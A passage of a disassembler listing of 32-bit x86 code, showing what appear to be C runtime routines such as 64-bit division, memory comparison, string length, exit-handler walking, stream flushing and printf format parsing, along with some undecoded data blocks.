= dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_48A0A8, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_48A0B8 call esi test eax, eax jnz loc_419AB2 call near ptr 2630B7Ah nop cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_4395A0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_48A0B8 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_48A0A8, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_48A0B8 nop call near ptr 2600000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_43956C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_48A05C, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 2760DCAh push eax call near ptr 27B0BA2h nop loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_48A058, edi mov byte_48A054, bl jnz short loc_419B78 mov eax, dword_48B69C test eax, eax jz short loc_419B67 mov ecx, dword_48B698 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_48B69C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_48A05C, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27A0DD4h test eax, eax jnz short loc_419BD0 nop call near ptr 2630B7Ah jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- aFlwBU8wiZADb db 'fLW/',0Dh,'8Wz!d',0 align 4 dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 23F7E75h dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah dd 59000000h, 0E8FC7589h, 5967h, 7DFBE890h, 8CA3023Fh dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 3F6377E8h dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h dd 580A6A03h, 9C75FF50h, 94E85656h, 90022E71h, 49F7E850h dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_48A068, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_439590 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 48A0683Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_43BCD8 jz short loc_419D83 cmp esi, offset dword_43BCF8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_43BC20 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_4395A0 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_43959C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_439598 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43B900 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_43B90C pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_43B904 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_439598 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE 